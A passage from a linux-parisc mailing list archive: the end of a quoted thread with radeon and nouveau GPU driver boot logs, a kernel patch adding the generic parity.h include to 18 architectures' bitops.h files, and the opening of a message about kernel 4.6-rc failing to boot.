>>> 0xFFFFFFFFC7FFFFFF (128M used)
>>> [   46.420000] [drm] Detected VRAM RAM=128M, BAR=128M
>>> [   46.476000] [drm] RAM width 128bits DDR
>>> [   46.524000] [TTM] Zone  kernel: Available graphics memory: 3077188 kiB
>>> [   46.604000] [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
>>> [   46.680000] [TTM] Initializing pool allocator
>>> [   46.732000] [drm] radeon: 128M of VRAM memory ready
>>> [   46.792000] [drm] radeon: 512M of GTT memory ready.
>>> [   46.852000] [drm] radeon: 1 quad pipes, 1 Z pipes initialized.
>>> [   46.944000] radeon 0000:80:00.0: WB disabled
>>> [   46.996000] radeon 0000:80:00.0: fence driver on ring 0 use gpu
>>> addr 0x0000000060000000 and cpu addr 0x0000000011279000
>>> [   47.124000] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
>>> [   47.204000] [drm] Driver supports precise vblank timestamp query.
>>> [   47.276000] [drm] radeon: irq initialized.
>>> [   47.328000] [drm] Loading R300 Microcode
>>> [   47.468000] radeon 0000:80:00.0: firmware: direct-loading firmware
>>> radeon/R300_cp.bin
>>> [   47.584000] [drm] radeon: ring at 0x0000000060001000
>>> [   47.836000] [drm:r100_ring_test [radeon]] *ERROR* radeon: ring test
>>> failed (scratch(0x15E4)=0xCAFEDEAD)
>>> [   47.948000] [drm:r100_cp_init [radeon]] *ERROR* radeon: cp isn't
>>> working (-22).
>>> [   48.036000] radeon 0000:80:00.0: failed initializing CP (-22).
>>> [   48.036000] radeon 0000:80:00.0: Disabling GPU acceleration
>>> [  OK  ] Found device ST373207LW 2.
>>> [   48.236000] [drm:r100_cp_fini [radeon]] *ERROR* Wait for CP idle
>>> timeout, shutting down CP.
>>> [   48.384000] [drm] radeon: cp finalized
>>> [   48.448000] [drm] radeon: cp finalized
>>> [   48.496000] [TTM] Finalizing pool allocator
>>> [   48.544000] [TTM] Zone  kernel: Used memory at exit: 0 kiB
>>> [   48.612000] [TTM] Zone   dma32: Used memory at exit: 0 kiB
>>> [   48.676000] [drm] radeon: ttm finalized
>>> [   48.724000] [drm] Forcing AGP to PCI mode
>>>         Starting File System Check on /d[   48.872000] [drm]
>>> Generation 2 PCI interface, using max accessible memory
>>> ev/...2-638b-4a0[   48.968000] radeon 0000:80:00.0: VRAM: 128M
>>> 0xFFFFFFFFC0000000 - 0xFFFFFFFFC7FFFFFF (128M used)
>>> c-be55-7444e126d[   49.088000] radeon 0000:80:00.0: GTT: 512M
>>> 0xFFFFFFFFA0000000 - 0xFFFFFFFFBFFFFFFF
>>> 283...
>>> [   49.196000] [drm] Detected VRAM RAM=128M, BAR=128M
>>> [   49.264000] [drm] RAM width 128bits DDR
>>> [   49.328000] [TTM] Zone  kernel: Available graphics memory: 3077188 kiB
>>> [   49412000] [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
>>> [   49.492000] [TTM] Initializing pool allocator
>>> [   49.492000] [drm] radeon: 128M of VRAM memory ready
>>> [   49.492000] [drm] radeon: 512M of GTT memory ready.
>>> [   49.492000] [drm] GART: num cpu pages 131072, num gpu pages 131072
>>> [   49.636000] [drm] radeon: 1 quad pipes, 1 Z pipes initialized.
>>> [   49.636000] [drm] PCI GART of 512M enabled (table at 0x0000000043300000).
>>> [   49.636000] radeon 0000:80:00.0: WB enabled
>>> [   49.636000] radeon 0000:80:00.0: fence driver on ring 0 use gpu
>>> addr 0xffffffffa0000000 and cpu addr 0x000000007d239000
>>> [   49.636000] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
>>> [   49.636000] [drm] Driver supports precise vblank timestamp query.
>>> [   49.636000] [drm] radeon: irq initialized.
>>> [   49.780000] [drm] radeon: ring at 0xFFFFFFFFA0001000
>>> [   49.972000] [drm:r100_ring_test [radeon]] *ERROR* radeon: ring test
>>> failed (scratch(0x15E4)=0xCAFEDEAD)
>>> [   49.976000] [drm:r100_cp_init [radeon]] *ERROR* radeon: cp isn't
>>> working (-22).
>>> [   49.976000] radeon 0000:80:00.0: failed initializing CP (-22).
>>> [   49.976000] radeon 0000:80:00.0: Disabling GPU acceleration
>>> [   50.168000] [drm:r100_cp_fini [radeon]] *ERROR* Wait for CP idle
>>> timeout, shutting down CP.
>>> [   50.280000] [drm] radeon: cp finalized
>>> [   50.592000] [drm] Radeon Display Connectors
>>> [   50.592000] [drm] Connector 0:
>>> [   50.592000] [drm]   VGA-1
>>> [   50.592000] [drm]   DDC: 0x60 0x60 0x60 0x60 0x60 0x60 0x60 0x60
>>> [   50.592000] [drm]   Encoders:
>>> [   50.592000] [drm]     CRT1: INTERNAL_DAC1
>>> [   50.592000] [drm] Connector 1:
>>> [   50.592000] [drm]   DVI-I-1
>>> [   50.592000] [drm]   HPD1
>>> [   50.592000] [drm]   DDC: 0x64 0x64 0x64 0x64 0x64 0x64 0x64 0x64
>>> [   50.592000] [drm]   Encoders:
>>> [   50.592000] [drm]     CRT2: INTERNAL_DAC2
>>> [   50.592000] [drm]     DFP1: INTERNAL_TMDS1
>>> [   50.608000] radeon 0000:80:00.0: No connectors reported connected with modes
>>> [   50.608000] [drm] Cannot find any crtc or sizes - going 1024x768
>>> [   50.828000] [drm] fb mappable at 0xFFFFFFFFC0040000
>>> [   50.828000] [drm] vram apper at 0xFFFFFFFFC0000000
>>> [   50.828000] [drm] size 3145728
>>> [   50.828000] [drm] fb depth is 24
>>> [   50.828000] [drm]    pitch is 4096
>>> [   51.848000] Console: switching to colour frame buffer device 128x48
>>> [   52.080000] radeon 0000:80:00.0: fb0: radeondrmfb frame buffer device
>>> [   52172000] [drm] Initialized radeon 2.43.0 20080528 for
>>> 0000:80:00.0 on minor 0
>>> 
>>> NVIDIA QUADRO MXR
>>> [   51.880000] nouveau 0000:80:00.0: enabling SERR and PARITY (0007 -> 0147)
>>> [   52.044000] nouveau 0000:80:00.0: NVIDIA NV11 (011300a1)
>>> [   52.364000] nouveau 0000:80:00.0: bios: version 03.11.01.24.00
>>> [   52.488000] nouveau 0000:80:00.0: putting AGP V2 device into 4x mode
>>> [   52.592000] nouveau 0000:80:00.0: putting AGP V2 device into 4x mode
>>> [   52.668000] nouveau 0000:80:00.0: tmr: unknown input clock freq
>>> [   52.740000] nouveau 0000:80:00.0: fb: 32 MiB SDRAM
>>> [   52.844000] [TTM] Zone  kernel: Available graphics memory: 3077188 kiB
>>> [   52.920000] [TTM] Zone   dma32: Available graphics memory: 2097152 kiB
>>> [   52.920000] [TTM] Initializing pool allocator
>>> [   52.928000] nouveau 0000:80:00.0: DRM: VRAM: 31 MiB
>>> [   52.928000] nouveau 0000:80:00.0: DRM: GART: 512 MiB
>>> [   52.928000] nouveau 0000:80:00.0: DRM: BMP version 5.20
>>> [   52.928000] nouveau 0000:80:00.0: DRM: No useful DCB data in VBIOS
>>> [   52.928000] nouveau 0000:80:00.0: DRM: Adaptor not initialised,
>>> running VBIOS init tables.
>>> [   53.016000] nouveau 0000:80:00.0: DRM: Saving VGA fonts
>>> [   53.336000] nouveau 0000:80:00.0: DRM: No useful DCB data in VBIOS
>>> [   53.336000] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013).
>>> [   53.336000] [drm] Driver supports precise vblank timestamp query.
>>> [   53.336000] nouveau 0000:80:00.0: DRM: 0xABA2: Parsing digital
>>> output script table
>>> [   53.920000] nouveau 0000:80:00.0: DRM: MM: using M2MF for buffer copies
>>> [   54.144000] nouveau 0000:80:00.0: DRM: allocated 1920x1200 fb:
>>> 0x8000, bo 000000007cee1000
>>> [   54.276000] nouveau 0000:80:00.0: DRM: 0xABCE: Parsing digital
>>> output script table
>>> [   54.312000] Console: switching to colour frame buffer device 240x75
>>> [   54.388000] nouveau 0000:80:00.0: DRM: GPU lockup - switching to
>>> software fbcon
>>> [   54.684000] nouveau 0000:80:00.0: fb0: nouveaufb frame buffer device
>>> [   54.784000] [drm] Initialized nouveau 1.3.1 20120801 for
>>> 0000:80:00.0 on minor 0
>>> _______________________________________________
>>> Nouveau mailing list
>>> Nouveau@lists.freedesktop.org
>>> https://lists.freedesktop.org/mailman/listinfo/nouveau
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Zeng Zhaoxiu <zhaoxiu.zeng@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.openrisc,gmane.linux.ports.sh.devel
Subject: [PATCH V2 02/30] Include generic parity.h in some architectures'
 bitops.h
Date: Tue, 5 Apr 2016 12:23:23 +0800
Lines: 261
Approved: news@gmane.org
Message-ID: <57033DBB.6060600@gmail.com>
References: <57031D9D.801@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1459830240 19479 80.91.229.3 (5 Apr 2016 04:24:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Apr 2016 04:24:00 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-snps-arc@lists.infradead.org,
	linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
	linux-cris-kernel@axis.com, uclinux-h8-devel@lists.sourceforge.jp,
	linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-metag@vger.kernel.org, linux-am33-list@redhat.com,
	linux@lists.openrisc.net, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
	linux-xtensa@linux-xtensa.org
To: Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@arm.linux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>,
	Mark Salter <msalter@redhat.com>,
	Aurelien Jacquiot <a-jacquiot@ti.com>,
	Mikael Starvik <starvik@axis.com>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Richard Kuo <rkuo@codeaurora.org>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	James Hogan <james.hogan@imgtec.com>,
	David Howells <dhowells@redhat.com>,
	Koichi Yasutake <yasutake.koichi@jp.panasonic.com>,
	Jonas Bonn <jonas@southpole.se>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Rich Felker <dalias@libc.org>,
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 05 06:23:50 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1anIWr-0002sF-Cq
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Apr 2016 06:23:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750895AbcDEEXs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Apr 2016 00:23:48 -0400
Original-Received: from mail-io0-f196.google.com ([209.85.223.196]:36165 "EHLO
	mail-io0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750719AbcDEEXq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Apr 2016 00:23:46 -0400
Original-Received: by mail-io0-f196.google.com with SMTP id s2so598791iod.3;
        Mon, 04 Apr 2016 21:23:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=subject:references:to:from:cc:message-id:date:user-agent
         :mime-version:in-reply-to:content-transfer-encoding;
        bh=zCcismPY8M6ccr9IeqTBAmySOplr1Rp/hpTdhbJfez4=;
        b=juFhRTc4UG/ZlNYIlrY5fBC1I1/lxKq4yhEuJ3QEzGqKYFFj22UZbXDfayXZf+fdnO
         u3RIwfRORZ0pbHTxNQE2WMfTAix07EF/idpVyZraGogLdvyA/0FCe6i+FaCd9bBqdwTD
         IjELAdX6OSCwc1FzQQXITkomS89b9CFptfkD7FQGz8Z/3mzVNtTbbrGfTOpVGCaARel6
         xG3lxs5SnWz56Te3d1RaFasGyWXi/Exn9YPh+82i3gSrP7a5Wf+lopt0K4v2I+E7cAve
         Usp1RIgZTfaze6f/YA11LIcSjrEs2McBPzNZFiIuFoLMSuUoflm+10yNW23rFkzzYP9Q
         gsug==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:subject:references:to:from:cc:message-id:date
         :user-agent:mime-version:in-reply-to:content-transfer-encoding;
        bh=zCcismPY8M6ccr9IeqTBAmySOplr1Rp/hpTdhbJfez4=;
        b=QIFquZ7l0pE/4X9KZFDXcvSI+ABdjRQNcVpSgVnIwsXNzT4pV0WhvStKNnb2eukBlk
         oaYeIXk9oPyaPq3ij8B3PqxKEpigtLlnqPznr/iiK6JegA4/XUPXeoyUwuYnrdQXYgCa
         STg4PsvNBSC/VdfYxIiYpvJr7GR6DvuNi6Fh5k0vtZ6ZDaEOx9sdywgc/A7UMV39cueN
         82bT6xFWN90yvsq+7NDRSjuwNxn5KVs7BF0gNUOhulbSRLoMezbQlaNtS8cZjNGJuN2/
         2WAs93DxgJw2Lg9oSAb2oZUufmu8wt6A0oJs07y5uWEb8VEsbPEw+2XkHkUgdeGelN0q
         8IYw==
X-Gm-Message-State: AD7BkJK6jCv626RE8Uebu6YdUAmabZa82NFnpBzNkFqG58u7plArJwtrBf/j8kjxGi32QA==
X-Received: by 10.107.62.136 with SMTP id l130mr8249587ioa.185.1459830225554;
        Mon, 04 Apr 2016 21:23:45 -0700 (PDT)
Original-Received: from [192.168.0.15] ([112.95.225.98])
        by smtp.gmail.com with ESMTPSA id k2sm6669116igx.5.2016.04.04.21.23.27
        (version=TLSv1/SSLv3 cipher=OTHER);
        Mon, 04 Apr 2016 21:23:44 -0700 (PDT)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.6.0
In-Reply-To: <57031D9D.801@gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26582 gmane.linux.kernel:2190815 gmane.linux.kernel.arc:830 gmane.linux.ports.arm.kernel:490349 gmane.linux.ports.hexagon:996 gmane.linux.kernel.metag:1048 gmane.linux.ports.openrisc:695 gmane.linux.ports.sh.devel:53711
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26582>

From: Zhaoxiu Zeng <zhaoxiu.zeng@gmail.com>

Use the generic version
---
  arch/arc/include/asm/bitops.h      | 1 +
  arch/arm/include/asm/bitops.h      | 1 +
  arch/arm64/include/asm/bitops.h    | 1 +
  arch/avr32/include/asm/bitops.h    | 1 +
  arch/c6x/include/asm/bitops.h      | 1 +
  arch/cris/include/asm/bitops.h     | 1 +
  arch/frv/include/asm/bitops.h      | 1 +
  arch/h8300/include/asm/bitops.h    | 1 +
  arch/hexagon/include/asm/bitops.h  | 1 +
  arch/m32r/include/asm/bitops.h     | 1 +
  arch/m68k/include/asm/bitops.h     | 1 +
  arch/metag/include/asm/bitops.h    | 1 +
  arch/mn10300/include/asm/bitops.h  | 1 +
  arch/openrisc/include/asm/bitops.h | 1 +
  arch/parisc/include/asm/bitops.h   | 1 +
  arch/s390/include/asm/bitops.h     | 1 +
  arch/sh/include/asm/bitops.h       | 1 +
  arch/xtensa/include/asm/bitops.h   | 1 +
  18 files changed, 18 insertions(+)

diff --git a/arch/arc/include/asm/bitops.h b/arch/arc/include/asm/bitops.h
index 0352fb8..7967e47 100644
--- a/arch/arc/include/asm/bitops.h
+++ b/arch/arc/include/asm/bitops.h
@@ -370,6 +370,7 @@ static inline __attribute__ ((const)) int 
__ffs(unsigned long x)
  #define ffz(x)    __ffs(~(x))

  #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
  #include <asm-generic/bitops/fls64.h>
  #include <asm-generic/bitops/sched.h>
  #include <asm-generic/bitops/lock.h>
diff --git a/arch/arm/include/asm/bitops.h b/arch/arm/include/asm/bitops.h
index e943e6c..99f28a6 100644
--- a/arch/arm/include/asm/bitops.h
+++ b/arch/arm/include/asm/bitops.h
@@ -313,6 +313,7 @@ static inline unsigned long __ffs(unsigned long x)

  #include <asm-generic/bitops/sched.h>
  #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
  #include <asm-generic/bitops/lock.h>

  #ifdef __ARMEB__
diff --git a/arch/arm64/include/asm/bitops.h 
b/arch/arm64/include/asm/bitops.h
index 9c19594..eac4965 100644
--- a/arch/arm64/include/asm/bitops.h
+++ b/arch/arm64/include/asm/bitops.h
@@ -44,6 +44,7 @@ extern int test_and_change_bit(int nr, volatile 
unsigned long *p);

  #include <asm-generic/bitops/sched.h>
  #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
  #include <asm-generic/bitops/lock.h>

  #include <asm-generic/bitops/non-atomic.h>
diff --git a/arch/avr32/include/asm/bitops.h 
b/arch/avr32/include/asm/bitops.h
index 910d537..9f4a2ce 100644
--- a/arch/avr32/include/asm/bitops.h
+++ b/arch/avr32/include/asm/bitops.h
@@ -298,6 +298,7 @@ static inline int ffs(unsigned long word)
  #include <asm-generic/bitops/fls64.h>
  #include <asm-generic/bitops/sched.h>
  #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
  #include <asm-generic/bitops/lock.h>

  extern unsigned long find_next_zero_bit_le(const void *addr,
diff --git a/arch/c6x/include/asm/bitops.h b/arch/c6x/include/asm/bitops.h
index f0ab012..94eb0d1 100644
--- a/arch/c6x/include/asm/bitops.h
+++ b/arch/c6x/include/asm/bitops.h
@@ -87,6 +87,7 @@ static inline int ffs(int x)

  #include <asm-generic/bitops/sched.h>
  #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
  #include <asm-generic/bitops/lock.h>

  #include <asm-generic/bitops/atomic.h>
diff --git a/arch/cris/include/asm/bitops.h b/arch/cris/include/asm/bitops.h
index 8062cb5..06bc246 100644
--- a/arch/cris/include/asm/bitops.h
+++ b/arch/cris/include/asm/bitops.h
@@ -36,6 +36,7 @@
  #include <asm-generic/bitops/__fls.h>
  #include <asm-generic/bitops/fls64.h>
  #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
  #include <asm-generic/bitops/find.h>
  #include <asm-generic/bitops/lock.h>

diff --git a/arch/frv/include/asm/bitops.h b/arch/frv/include/asm/bitops.h
index 0df8e95..f2a7ee8 100644
--- a/arch/frv/include/asm/bitops.h
+++ b/arch/frv/include/asm/bitops.h
@@ -314,6 +314,7 @@ int __ilog2_u64(u64 n)

  #include <asm-generic/bitops/sched.h>
  #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
  #include <asm-generic/bitops/lock.h>

  #include <asm-generic/bitops/le.h>
diff --git a/arch/h8300/include/asm/bitops.h 
b/arch/h8300/include/asm/bitops.h
index 05999ab..e392db2 100644
--- a/arch/h8300/include/asm/bitops.h
+++ b/arch/h8300/include/asm/bitops.h
@@ -172,6 +172,7 @@ static inline unsigned long __ffs(unsigned long word)
  #include <asm-generic/bitops/find.h>
  #include <asm-generic/bitops/sched.h>
  #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
  #include <asm-generic/bitops/lock.h>
  #include <asm-generic/bitops/le.h>
  #include <asm-generic/bitops/ext2-atomic.h>
diff --git a/arch/hexagon/include/asm/bitops.h 
b/arch/hexagon/include/asm/bitops.h
index 5e4a59b..2df614e 100644
--- a/arch/hexagon/include/asm/bitops.h
+++ b/arch/hexagon/include/asm/bitops.h
@@ -290,6 +290,7 @@ static inline unsigned long __fls(unsigned long word)
  #include <asm-generic/bitops/fls64.h>
  #include <asm-generic/bitops/sched.h>
  #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>

  #include <asm-generic/bitops/le.h>
  #include <asm-generic/bitops/ext2-atomic.h>
diff --git a/arch/m32r/include/asm/bitops.h b/arch/m32r/include/asm/bitops.h
index 86ba2b4..e3cf46b 100644
--- a/arch/m32r/include/asm/bitops.h
+++ b/arch/m32r/include/asm/bitops.h
@@ -259,6 +259,7 @@ static __inline__ int test_and_change_bit(int nr, 
volatile void * addr)
  #include <asm-generic/bitops/find.h>
  #include <asm-generic/bitops/ffs.h>
  #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
  #include <asm-generic/bitops/lock.h>

  #endif /* __KERNEL__ */
diff --git a/arch/m68k/include/asm/bitops.h b/arch/m68k/include/asm/bitops.h
index b4a9b0d..fd673ea 100644
--- a/arch/m68k/include/asm/bitops.h
+++ b/arch/m68k/include/asm/bitops.h
@@ -519,6 +519,7 @@ static inline int __fls(int x)
  #include <asm-generic/bitops/fls64.h>
  #include <asm-generic/bitops/sched.h>
  #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
  #include <asm-generic/bitops/lock.h>
  #endif /* __KERNEL__ */

diff --git a/arch/metag/include/asm/bitops.h 
b/arch/metag/include/asm/bitops.h
index 2671134..ad13087 100644
--- a/arch/metag/include/asm/bitops.h
+++ b/arch/metag/include/asm/bitops.h
@@ -118,6 +118,7 @@ static inline int test_and_change_bit(unsigned int bit,
  #include <asm-generic/bitops/__fls.h>
  #include <asm-generic/bitops/fls64.h>
  #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
  #include <asm-generic/bitops/lock.h>
  #include <asm-generic/bitops/sched.h>
  #include <asm-generic/bitops/le.h>
diff --git a/arch/mn10300/include/asm/bitops.h 
b/arch/mn10300/include/asm/bitops.h
index fe6f8e2..60761b7 100644
--- a/arch/mn10300/include/asm/bitops.h
+++ b/arch/mn10300/include/asm/bitops.h
@@ -225,6 +225,7 @@ int ffs(int x)
  #include <asm-generic/bitops/find.h>
  #include <asm-generic/bitops/sched.h>
  #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
  #include <asm-generic/bitops/ext2-atomic-setbit.h>
  #include <asm-generic/bitops/le.h>

diff --git a/arch/openrisc/include/asm/bitops.h 
b/arch/openrisc/include/asm/bitops.h
index 3003cda..8c97642 100644
--- a/arch/openrisc/include/asm/bitops.h
+++ b/arch/openrisc/include/asm/bitops.h
@@ -43,6 +43,7 @@
  #include <asm-generic/bitops/sched.h>
  #include <asm/bitops/ffs.h>
  #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
  #include <asm-generic/bitops/lock.h>

  #include <asm-generic/bitops/atomic.h>
diff --git a/arch/parisc/include/asm/bitops.h 
b/arch/parisc/include/asm/bitops.h
index 3f9406d..867ba10 100644
--- a/arch/parisc/include/asm/bitops.h
+++ b/arch/parisc/include/asm/bitops.h
@@ -211,6 +211,7 @@ static __inline__ int fls(int x)
  #include <asm-generic/bitops/__fls.h>
  #include <asm-generic/bitops/fls64.h>
  #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
  #include <asm-generic/bitops/lock.h>
  #include <asm-generic/bitops/sched.h>

diff --git a/arch/s390/include/asm/bitops.h b/arch/s390/include/asm/bitops.h
index 8043f10..198eead 100644
--- a/arch/s390/include/asm/bitops.h
+++ b/arch/s390/include/asm/bitops.h
@@ -460,6 +460,7 @@ static inline int fls(int word)
  #include <asm-generic/bitops/ffz.h>
  #include <asm-generic/bitops/find.h>
  #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
  #include <asm-generic/bitops/sched.h>
  #include <asm-generic/bitops/le.h>
  #include <asm-generic/bitops/ext2-atomic-setbit.h>
diff --git a/arch/sh/include/asm/bitops.h b/arch/sh/include/asm/bitops.h
index fc8e652..4bf0c35 100644
--- a/arch/sh/include/asm/bitops.h
+++ b/arch/sh/include/asm/bitops.h
@@ -86,6 +86,7 @@ static inline unsigned long ffz(unsigned long word)
  #include <asm-generic/bitops/find.h>
  #include <asm-generic/bitops/ffs.h>
  #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
  #include <asm-generic/bitops/lock.h>
  #include <asm-generic/bitops/sched.h>
  #include <asm-generic/bitops/le.h>
diff --git a/arch/xtensa/include/asm/bitops.h 
b/arch/xtensa/include/asm/bitops.h
index 3f44fa2..981fa83 100644
--- a/arch/xtensa/include/asm/bitops.h
+++ b/arch/xtensa/include/asm/bitops.h
@@ -229,6 +229,7 @@ test_and_change_bit(unsigned int bit, volatile 
unsigned long *p)
  #include <asm-generic/bitops/ext2-atomic-setbit.h>

  #include <asm-generic/bitops/hweight.h>
+#include <asm-generic/bitops/parity.h>
  #include <asm-generic/bitops/lock.h>
  #include <asm-generic/bitops/sched.h>

-- 
2.5.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: kernel 4.6-rc unbootable due to module changes
Date: Tue, 5 Apr 2016 13:31:08 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.02.1604051326470.14606@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1459877482 4407 80.91.229.3 (5 Apr 2016 17:31:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 5 Apr 2016 17:31:22 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 05 19:31:17 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1anUoq-0006ZI-Kt
	for glpp-linux-parisc@plane.gmane.org; Tue, 05 Apr 2016 19:31:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752362AbcDERbL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 5 Apr 2016 13:31:11 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:43296 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751882AbcDERbK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 5 Apr 2016 13:31:10 -0400
Original-Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26])
	(using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
	(No client certificate requested)
	by mx1.redhat.com (Postfix) with ESMTPS id F30D1C075679;
	Tue,  5 Apr 2016 17:31:09 +0000 (UTC)
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (file01.intranet.prod.int.rdu2.redhat.com [10.11.5.7])
	by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u35HV912022406
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO);
	Tue, 5 Apr 2016 13:31:09 -0400
Original-Received: from file01.intranet.prod.int.rdu2.redhat.com (localhost [127.0.0.1])
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4) with ESMTP id u35HV9IM023519;
	Tue, 5 Apr 2016 13:31:09 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file01.intranet.prod.int.rdu2.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id u35HV8dF023507;
	Tue, 5 Apr 2016 13:31:09 -0400
X-Authentication-Warning: file01.intranet.prod.int.rdu2.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file01.intranet.prod.int.rdu2.redhat.com
User-Agent: Alpine 2.02 (LRH 1266 2009-07-14)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26583
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26583>

Hi

